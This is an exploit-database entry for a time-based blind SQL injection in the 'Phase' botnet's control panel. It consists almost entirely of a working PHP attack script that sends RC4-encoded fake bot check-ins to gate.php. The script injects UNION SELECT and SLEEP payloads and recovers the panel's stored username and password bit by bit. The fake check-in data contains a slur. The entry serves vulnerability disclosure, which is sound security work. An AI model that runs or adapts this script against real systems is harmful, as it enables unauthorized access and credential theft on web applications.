Phase botnet blind SQL injection vulnerability



EKU-ID: 4460 CVE: OSVDB-ID:
Author: Xylitol Published: 2014-12-24 Verified: Verified
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<?php
        // Panel.zip hash: c49c74a609b24284a0a66fc008c4d8f2
        // Start with PHP CLI (php pwn.php)
        set_time_limit(0);
          
        // Adjust this :)
        define('SLEEP_TIME', '4');
        define('PAGE_TIME',  4);
        define('URL',        'http://localhost/Phase/');
          
        echo('attacking ' . URL . PHP_EOL);
          
        get_string('username');
        get_string('password');
          
        function get_length($field) {
                $length = 1;
                  
                while (!is_true("' UNION SELECT ALL 1,2,3,4,5,6,7 FROM `settings` WHERE `key` = '" . $field . "' AND (NOT (LENGTH(value)=" . $length . ") OR SLEEP(" . SLEEP_TIME . "))-- ")) {
                        ++$length;
                }
                  
                echo($field . ' length: ' . $length . PHP_EOL);
                  
                return $length;
        }
          
        function get_string($field) {
                $length = get_length($field);
                $str    = '';
                  
                for ($i = 0; $i < $length; ++$i) {
                        $str .= chr(get_char($field, $i));
                        echo($field . ' : ' . str_pad($str, $length, '*') . PHP_EOL);
                }
                  
                return $str;
        }
          
        function get_char($field, $id) {
                $binary = '';
                  
                for ($i = 1; $i < 256; $i *= 2) {
                        if ($i == 128)
                                $binary = '0' . $binary;
                        else
                                $binary = (is_true("' UNION SELECT ALL 1,2,3,4,5,6,7 FROM `settings` WHERE `key` = '" . $field . "' AND (NOT (ORD(SUBSTR(`value`," . ($id + 1) . ",1)) & " . $i . ") OR SLEEP(" . SLEEP_TIME . "))-- ") ? '1' : '0') . $binary;
                }
                  
                return bindec($binary);
        }
          
        function is_true($query) {
                $rc4_key   = 'aaaa'; // b d u
                $data      = 'u=tapz&d=faggot&b=lol';
                $encode    = rc4($rc4_key, $data, strlen($data), strlen($rc4_key));
                $encode    = $rc4_key . $encode;
                $injection = urlencode($query);
                $req       = post_request(URL . 'gate.php?i=127.0.0.1' . $injection, $encode);
                  
                return !($req['time'] < PAGE_TIME);
        }
          
        function post_request($url, $data) {
        $handle = curl_init($url);
          
        curl_setopt($handle, CURLOPT_HEADER,         false);
        curl_setopt($handle, CURLOPT_USERAGENT,      'Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1667.0 Safari/537.36');
        curl_setopt($handle, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($handle, CURLOPT_POST,           true);
        curl_setopt($handle, CURLOPT_POSTFIELDS,     $data);
                curl_setopt($handle, CURLOPT_TIMEOUT,        30);
          
                $time = microtime(true);
        $page = curl_exec($handle);
        $time = microtime(true) - $time;
                  
        curl_close($handle);
                  
        return array(
                        'page' => $page,
                        'time' => $time
                );
    }
          
        function rc4($pwd, $data, $data_length, $pwd_length){
                $key[] = '';
                $box[] = '';
                $cipher = '';
  
                for ($i = 0; $i < 256; $i++)
                {
                        $key[$i] = ord($pwd[$i % $pwd_length]);
                        $box[$i] = $i;
                }
                for ($j = $i = 0; $i < 256; $i++)
                {
                        $j = ($j + $box[$i] + $key[$i]) % 256;
                        $tmp = $box[$i];
                        $box[$i] = $box[$j];
                        $box[$j] = $tmp;
                }
                for ($a = $j = $i = 0; $i < $data_length; $i++)
                {
                        $a = ($a + 1) % 256;
                        $j = ($j + $box[$a]) % 256;
                        $tmp = $box[$a];
                        $box[$a] = $box[$j];
                        $box[$j] = $tmp;
                        $k = $box[(($box[$a] + $box[$j]) % 256)];
                        $cipher .= chr(ord($data[$i]) ^ $k);
                }
                return $cipher;
        }